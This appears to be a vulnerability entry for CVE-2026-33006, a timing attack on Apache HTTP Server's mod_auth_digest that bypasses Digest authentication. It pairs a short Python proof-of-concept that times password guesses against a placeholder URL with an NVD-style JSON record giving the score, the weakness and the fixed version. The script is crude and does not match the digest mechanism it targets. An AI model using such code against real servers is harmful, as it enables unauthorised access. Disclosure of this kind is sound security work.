CVE-2026-33006

import requests import time # Target URL protected by Digest Auth target_url = "http://example.com/protected" username = "admin" # Timing attack proof of concept # This script measures response time to guess valid characters # based on the delay introduced by the digest comparison logic. def timing_attack_guess(password_guess): start_time = time.time() try: # Send request with the guess response = requests.get(target_url, auth=(username, password_guess)) except Exception as e: pass end_time = time.time() return end_time - start_time # Iterate through potential characters to find the one that takes longer # indicating a partial match. for char in "abcdefghijklmnopqrstuvwxyz0123456789": duration = timing_attack_guess(char) print(f"Testing '{char}': {duration:.5f}s") # In a real attack, the longest duration suggests a correct character.

{"cve": {"id": "CVE-2026-33006", "sourceIdentifier": "[email protected]", "published": "2026-05-04T15:16:03.977", "lastModified": "2026-05-04T20:23:31.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A timing attack against mod_auth_digest in Apache HTTP Server 2.4.66 allows a bypass of Digest authentication by a remote attacker.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.67", "matchCriteriaId": "8FF781BA-CF81-400B-A155-4DAE0BD856EE"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/21", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}